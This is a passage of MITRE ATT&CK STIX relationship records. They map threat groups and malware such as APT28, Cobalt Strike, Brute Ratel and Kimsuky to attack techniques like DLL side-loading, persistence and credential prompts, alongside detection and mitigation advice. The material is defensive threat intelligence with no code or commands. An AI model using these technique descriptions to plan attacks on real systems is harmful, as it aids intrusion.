["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--08fd666f-684f-4e78-876a-48cb92572c3a", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Seduploader Oct 2017", "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html", "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."}, {"source_name": "Talos Seduploader Oct 2017", "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html", "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."}], "modified": "2019-12-20T14:26:00.472Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) has saved files with hidden file attributes.(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0907e99a-5ea4-4180-8af4-003121dbc3ca", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor for newly constructed files that may abuse Microsoft Office templates to obtain persistence on a compromised system.", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--090813dc-b370-42e1-a211-4d9e3247968a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Scarlet Mimic Jan 2016", "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}], "modified": "2020-03-17T01:11:58.611Z", "description": "Some variants of [FakeM](https://attack.mitre.org/software/S0076) use SSL to communicate with C2 servers.(Citation: Scarlet Mimic Jan 2016)", "relationship_type": "uses", "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--09082234-c658-45c4-9cd0-d4984b6bdf85", "created": "2024-03-29T18:50:06.240Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-29T19:20:38.341Z", "description": "Use application control to prevent execution of `AutoIt3.exe`, `AutoHotkey.exe`, and other related features that may not be required for a given system or network to prevent potential misuse by adversaries.", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--3a32740a-11b0-4bcf-b0a9-3abd0f6d3cd5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--090866bb-20be-4955-84f0-e581b2d5890a", "type": "relationship", "created": "2022-03-30T14:26:51.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.869Z", "description": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0908b4ce-fcfc-4307-a887-70fc8c27da3a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}], "modified": "2019-06-24T19:03:52.713Z", "description": "[Proton](https://attack.mitre.org/software/S0279) prompts users for their credentials.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", "target_ref": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--090a553a-b863-4214-aa3b-cf8ea7ba2d68", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit Part 2", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}, {"source_name": "Bitdefender APT28 Dec 2015", "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}], "modified": "2020-03-16T15:53:20.493Z", "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can run [Systeminfo](https://attack.mitre.org/software/S0096) to gather information about the victim.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--090c11ed-8235-4c05-b553-749ee6497b0a", "type": "relationship", "created": "2019-07-19T16:49:44.829Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Soft Cell June 2019", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019."}], "modified": "2019-07-22T15:49:29.326Z", "description": "(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--09140332-07f8-4afe-84bd-be7067bad810", "created": "2023-02-09T21:14:18.793Z", "revoked": false, "external_references": [{"source_name": "Palo Alto Brute Ratel July 2022", "description": "Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.", "url": "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-09T21:14:18.793Z", "description": "[Brute Ratel C4](https://attack.mitre.org/software/S1063) has loaded a malicious DLL by spoofing the name of the legitimate Version.DLL  and placing it in the same folder as the digitally-signed Microsoft binary OneDriveUpdater.exe.(Citation: Palo Alto Brute Ratel July 2022)", "relationship_type": "uses", "source_ref": "tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--09237e32-a423-4ce3-bb15-4e47848ee7f7", "type": "relationship", "created": "2021-04-12T16:09:30.772Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "BlackBerry Bahamut", "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", "description": "The BlackBerry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021."}], "modified": "2021-05-24T13:16:56.593Z", "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used malware to enumerate active processes.(Citation: BlackBerry Bahamut)", "relationship_type": "uses", "source_ref": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0924ca96-c26b-4bd1-8c50-d3c1a9e1e25b", "created": "2023-06-14T21:01:14.745Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "RotaJakiro 2021 netlab360 analysis", "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.", "url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-14T08:28:49.391Z", "description": "[RotaJakiro](https://attack.mitre.org/software/S1078) uses the AES algorithm, bit shifts in a function called `rotate`, and an XOR cipher to decrypt resources required for persistence, process guarding, and file locking. It also performs this same function on encrypted stack strings and the `head` and `key` sections in the network packet structure used for C2 communications.(Citation: RotaJakiro 2021 netlab360 analysis)", "relationship_type": "uses", "source_ref": "malware--08e844a8-371f-4fe3-9d1f-e056e64a7fde", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--09254353-5452-4af7-8e7b-f297eff42a7f", "type": "relationship", "created": "2021-06-22T13:54:15.708Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist APT10 March 2021", "url": "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/", "description": "GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}], "modified": "2021-06-22T13:54:15.708Z", "description": "[SodaMaster](https://attack.mitre.org/software/S0627) can use <code>RegOpenKeyW</code> to access the Registry.(Citation: Securelist APT10 March 2021)", "relationship_type": "uses", "source_ref": "malware--94d6d788-07bb-4dcc-b62f-e02626b00108", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--09254382-c7cd-4340-97c2-d8ecda757e59", "type": "relationship", "created": "2020-02-20T14:34:08.740Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-20T14:34:08.740Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3", "target_ref": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--09266cb7-26b3-4959-bcff-a91e309b5588", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky OilRig Jan 2017", "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", "url": "http://www.clearskysec.com/oilrig/"}], "modified": "2020-03-28T21:35:13.824Z", "description": "[Helminth](https://attack.mitre.org/software/S0170) has used a scheduled task for persistence.(Citation: ClearSky OilRig Jan 2017)", "relationship_type": "uses", "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0927eb00-4a08-4ed1-8678-84d6e1e87b98", "type": "relationship", "created": "2020-03-15T16:03:39.245Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-27T17:15:35.606Z", "description": "Consider filtering network traffic to untrusted or known bad domains and resources. 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Retrieved September 24, 2021."}], "modified": "2021-09-28T20:53:37.671Z", "description": "[BoxCaon](https://attack.mitre.org/software/S0651) has used DropBox for C2 communications.(Citation: Checkpoint IndigoZebra July 2021) ", "relationship_type": "uses", "source_ref": "malware--919a056e-5104-43b9-ad55-2ac929108b71", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--092b3643-670d-447c-b05d-f7a54a945412", "type": "relationship", "created": "2019-04-23T16:12:37.582Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}], "modified": "2019-09-16T17:23:48.944Z", "description": "[PoshC2](https://attack.mitre.org/software/S0378) can enumerate network adapter information.(Citation: GitHub PoshC2)", "relationship_type": "uses", "source_ref": "tool--4b57c098-f043-4da2-83ef-7588a6d426bc", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--092ea2a0-c8f5-409f-b391-119f3446e63c", "created": "2022-06-09T20:40:33.806Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Malwarebytes Saint Bot April 2021", "url": "https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/", "description": "Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has injected its DLL component into `EhStorAurhn.exe`.(Citation: Malwarebytes Saint Bot April 2021)", "modified": "2022-06-09T20:40:33.806Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0930d98a-d8ae-4300-a50b-8a80b06e88e9", "created": "2021-12-27T16:53:14.020Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "TrendMicro Confucius APT Aug 2021", "url": "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html", "description": "Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Confucius](https://attack.mitre.org/groups/G0142) has sent malicious links to victims through email campaigns.(Citation: TrendMicro Confucius APT Aug 2021)", "modified": "2022-04-07T21:13:45.891Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--6eded342-33e5-4451-b6b2-e1c62863129f", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--093215eb-4edb-4c55-bb5f-b8ca2de7962c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0932a662-4bd8-4b8b-883a-480272280a18", "type": "relationship", "created": "2022-03-30T14:26:51.855Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.855Z", "description": "Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior, such as establishing network connections.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--09381138-b93b-4b0d-b82d-c21d452ff514", "type": "relationship", "created": "2020-05-11T17:51:01.565Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", "source_name": "ESET RTM Feb 2017"}, {"source_name": "Group IB RTM August 2019", "url": "https://www.group-ib.com/blog/rtm", "description": "Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020."}], "modified": "2020-05-12T22:13:50.406Z", "description": "[RTM](https://attack.mitre.org/groups/G0048) has used Registry run keys to establish persistence for the [RTM](https://attack.mitre.org/software/S0148) Trojan and other tools, such as a modified version of TeamViewer remote desktop software.(Citation: ESET RTM Feb 2017)(Citation: Group IB RTM August 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--093bc793-3edd-4096-bd7b-aeb5c855128b", "type": "relationship", "created": "2021-04-13T12:59:00.810Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI Sandworm January 2021", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."}], "modified": "2021-04-13T12:59:00.810Z", "description": "[P.A.S. Webshell](https://attack.mitre.org/software/S0598) has the ability to list files and file characteristics including extension, size, ownership, and permissions.(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "source_ref": "malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--093f8796-b394-490b-8048-115f4ee32959", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft PLATINUM April 2016", "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}], "modified": "2020-03-17T15:11:05.984Z", "description": "[JPIN](https://attack.mitre.org/software/S0201) can use the command-line utility cacls.exe to change file permissions.(Citation: Microsoft PLATINUM April 2016)", "relationship_type": "uses", "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", "target_ref": "attack-pattern--34e793de-0274-4982-9c1a-246ed1c19dee", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0942dc11-0fcd-480a-ae4d-d571ba96331b", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SecureWorks BRONZE UNION June 2017", "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", "url": "https://www.secureworks.com/research/bronze-union"}, {"source_name": "Profero APT27 December 2020", "description": "Global Threat Center, Intelligence Team. (2020, December). APT27 Turns to Ransomware. Retrieved November 12, 2021.", "url": "https://web.archive.org/web/20210104144857/https://shared-public-reports.s3-eu-west-1.amazonaws.com/APT27+turns+to+ransomware.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:05:38.076Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used CVE-2014-6324 and CVE-2017-0213 to escalate privileges.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Profero APT27 December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--094a2284-eeab-47fd-b6fb-6351d98330aa", "created": "2020-11-06T18:40:38.198Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cybereason Bumblebee August 2022", "url": "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", "description": "Cybereason. (2022, August 17). Bumblebee Loader \u2013 The High Road to Enterprise Domain Control. Retrieved August 29, 2022."}, {"source_name": "cobaltstrike manual", "url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can start a VNC-based remote desktop server and tunnel the connection through the already established C2 channel.(Citation: cobaltstrike manual)(Citation: Cybereason Bumblebee August 2022)", "modified": "2022-08-29T14:31:51.324Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--09505cc8-8e0f-4283-9329-df2bea12867c", "type": "relationship", "created": "2021-07-02T14:39:07.851Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-07-02T14:40:30.230Z", "description": "The file collection tool used by [RainyDay](https://attack.mitre.org/software/S0629) can utilize native API including <code>ReadDirectoryChangeW</code> for folder monitoring.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--09583053-9fab-47bb-b07c-76d75cbb5c30", "type": "relationship", "created": "2022-03-15T19:56:31.067Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T19:56:31.067Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has created email accounts for phishing operations.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": 